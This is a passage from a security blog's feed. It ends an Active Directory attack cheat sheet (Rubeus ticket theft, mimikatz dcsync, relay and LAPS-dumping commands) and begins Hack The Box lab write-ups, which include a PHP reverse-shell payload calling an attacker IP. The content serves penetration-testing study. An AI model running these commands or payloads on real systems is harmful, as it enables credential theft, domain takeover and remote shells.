-no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus asktgt /user:victim /rc4:&amp;lt;rc4value&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus ptt /ticket:&amp;lt;ticket&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus ptt /luid:0xdeadbeef /ticket:&amp;lt;ticket&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;Unconstrained Delegation&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Retrieve tickets&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /service:krbtgt /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /luid:0xdeadbeef /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Find hosts configured for unconstrained delegation&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer -Unconstrained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -Unconstrained -Properties DnsHostName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (c:Computer {unconstraineddelegation:true}) RETURN c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]-&amp;gt;(c)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="4"&gt;&#10;&lt;li&gt;Constrained Delegation&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Retrieve tickets&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug sekurlsa::tickets /export sekurlsa::tickets /&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /service:krbtgt /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /luid:0xdeadbeef /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Find hosts configured for constrained delegation&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]-&amp;gt;(t)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (u:User {owned:true}), (c:Computer {name: &amp;#34;&amp;lt;MYTARGET.FQDN&amp;gt;&amp;#34;}), p=shortestPath((u)-[*1..]-&amp;gt;(c)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="5"&gt;&#10;&lt;li&gt;Resource-Based Constrained Delegation&lt;/li&gt;&#10;&lt;li&gt;dcsync&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:htb.local /user:krbtgt # Any account in Administrators, Domain Admins, or Enterprise Admins works&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="7"&gt;&#10;&lt;li&gt;Exploiting the Print Spooler Service Vulnerability&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;domain_server&amp;gt; | grep MS-RPRN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;printerbug.py &amp;#39;&amp;lt;domain&amp;gt;/&amp;lt;username&amp;gt;:&amp;lt;password&amp;gt;&amp;#39;@&amp;lt;Printer IP&amp;gt; &amp;lt;RESPONDERIP&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="8"&gt;&#10;&lt;li&gt;AD ACL Attacks (aclpwn.py)&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll on User&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll / GenericWrite / Write on Computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Self (Self-Membership) on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty (Self-Membership)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ForceChangePassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite on User&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDACL + WriteOwner&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="9"&gt;&#10;&lt;li&gt;Retrieve the LAPS Administrator Password&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LAPSPasswords -DomainController &amp;lt;ip_dc&amp;gt; -Credential &amp;lt;domain&amp;gt;\&amp;lt;login&amp;gt; | Format-Table -AutoSize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="10"&gt;&#10;&lt;li&gt;PrivExchange Vulnerability&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python privexchange.py -ah &amp;lt;attacker_host_or_ip&amp;gt; &amp;lt;exchange_host&amp;gt; -u &amp;lt;user&amp;gt; -d &amp;lt;domain&amp;gt; -p &amp;lt;password&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldap://&amp;lt;dc_fqdn&amp;gt;--escalate-user &amp;lt;user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Exchange Exploitation&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Ridter/Exchange2domain" target="_blank" rel="noopener"&#10; &gt;Exchange2domain&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/WyAtu/CVE-2018-8581/" target="_blank" rel="noopener"&#10; &gt;CVE-2018-8581&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Ridter/CVE-2019-1040" target="_blank" rel="noopener"&#10; &gt;CVE-2019-1040&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Ridter/CVE-2020-0688" target="_blank" rel="noopener"&#10; &gt;CVE-2020-0688&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Arno0x/NtlmRelayToEWS" target="_blank" rel="noopener"&#10; &gt;NtlmRelayToEWS&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/3gstudent/ewsManage" target="_blank" rel="noopener"&#10; &gt;ewsManage&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/h4x0r-dz/CVE-2021-26855" target="_blank" rel="noopener"&#10; &gt;CVE-2021-26855&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda" target="_blank" rel="noopener"&#10; &gt;CVE-2021-28482&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol start="11"&gt;&#10;&lt;li&gt;IPC&lt;/li&gt;&#10;&lt;li&gt;Other Lateral Movement Techniques&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Inject a malicious program update into the WSUS server database&#9;&#9;WSUSpendu.ps1 # The WSUS update distribution server must be compromised first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2.MSSQL Trusted Links&#9;&#9;&#9;use exploit/windows/mssql/mssql_linkcrawler&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3.GPO Delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4.ADCS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;</description></item><item><title>Hack The Box: Linux Box Notes</title><link>http://xtpol.com/p/hackthebox-linux-boxes/</link><pubDate>Sun, 10 Nov 2024 15:15:00 +0800</pubDate><guid>http://xtpol.com/p/hackthebox-linux-boxes/</guid><description>&lt;p&gt;These notes cover most of the Hack The Box machines relevant to OSCP and mostly follow my own thought process.&lt;/p&gt;&#10;&lt;h2 id="1sense"&gt;&lt;a href="#1sense" class="header-anchor"&gt;&lt;/a&gt;1.sense&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;(The machine has been shut down, but it looked roughly like this.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found a password at https://10.10.10.60/system-users.txt&lt;/p&gt;&#10;&lt;p&gt;The default account/password is admin:pfsense&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current username and password are rohit/pfsense&lt;/p&gt;&#10;&lt;p&gt;WhatWeb did not identify the technology. I searched the page source for &lt;code&gt;sense&lt;/code&gt; and discovered that the target was running pfSense, which led me to the steps below.&lt;/p&gt;&#10;&lt;p&gt;After logging in successfully, the home page shows version 2.1.3-RELEASE&lt;/p&gt;&#10;&lt;p&gt;There was a problem with the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source code could not be used directly, so I modified it to construct the payload.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SSL was probably enabled, which caused the request to fail. I worked around it by making the request manually, putting the cookie into the code, and adjusting the script. This requires some familiarity with Python.&lt;/p&gt;&#10;&lt;p&gt;Visiting it triggered a reverse shell directly. The machine has been shut down, so there is no screenshot.&lt;/p&gt;&#10;&lt;p&gt;Two flags:&lt;/p&gt;&#10;&lt;p&gt;/home/rohit/user.txt&lt;/p&gt;&#10;&lt;p&gt;/root/root.txt&lt;/p&gt;&#10;&lt;p&gt;Beginner difficulty.&lt;/p&gt;&#10;&lt;h2 id="2nibbles"&gt;&lt;a href="#2nibbles" class="header-anchor"&gt;&lt;/a&gt;2.Nibbles&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start with a simple scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fingerprinting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the default credentials.&lt;/p&gt;&#10;&lt;p&gt;admin/nibbles&lt;/p&gt;&#10;&lt;p&gt;kali comes with an msf exploit script, but for oscp you generally do not use msf scripts.&lt;/p&gt;&#10;&lt;p&gt;I found a github script, and the vulnerability description also makes it possible to build the script yourself.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dix0nym/CVE-2015-6967" target="_blank" rel="noopener"&#10; &gt;https://github.com/dix0nym/CVE-2015-6967&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through the code. It mainly uploads a file through admin.php?controller=plugins&amp;amp;action=config&amp;amp;plugin=my_image&lt;/p&gt;&#10;&lt;p&gt;Then visit it to execute the file. A php file that launches a reverse shell is enough.&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;?php exec(&amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;);?&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Received a shell as nibbler.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.75/nibbleblog/content/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.75/nibbleblog/content/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This was a directory traversal point. Rather than reading every file, I went straight for the configuration file, but Nibbleblog&amp;rsquo;s permission restrictions prevented me from reading it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found three possibilities. The most obvious exploit should be the last one, but I still tried them one by one.&lt;/p&gt;&#10;&lt;p&gt;First, create a tty.&lt;/p&gt;&#10;&lt;p&gt;python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;We do not know the password, so leave this one for now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;.nano contained nothing, so let&amp;rsquo;s go straight to the final option.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just escalate privileges directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation complete. This was also beginner level; it was mainly about becoming familiar with the various operations.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="3solidstate"&gt;&lt;a href="#3solidstate" class="header-anchor"&gt;&lt;/a&gt;3.solidstate&#10;&lt;/h2&gt;&lt;p&gt;I finished the box, but I&amp;rsquo;m borrowing someone else&amp;rsquo;s screenshot here because parts of my approach had problems.&lt;/p&gt;&#10;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On port 80 I only found an email-sending interface. I looked around for ages and found nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had never dealt with nntp or james-admin before.&lt;/p&gt;&#10;&lt;p&gt;smtp probably would not require a login because there was no need to send email, so at the time I focused on pop3.&lt;/p&gt;&#10;&lt;p&gt;Testing suggested that &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt; existed, but I did not know the password. I spent most of my time trying to find the pop3 password for &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;Later, I found an exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The modified script executed successfully, but according to the description, someone had to log in over ssh before the command I inserted would execute. The command I inserted launched a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;So this route would not work.&lt;/p&gt;&#10;&lt;p&gt;This was my first blind spot: james remote admin on port 4555.&lt;/p&gt;&#10;&lt;p&gt;While reading the previous python script, I noticed that it defined the credentials root/root at the start.&lt;/p&gt;&#10;&lt;p&gt;The script also depended on these weak credentials to execute successfully. In other words, it logged in to 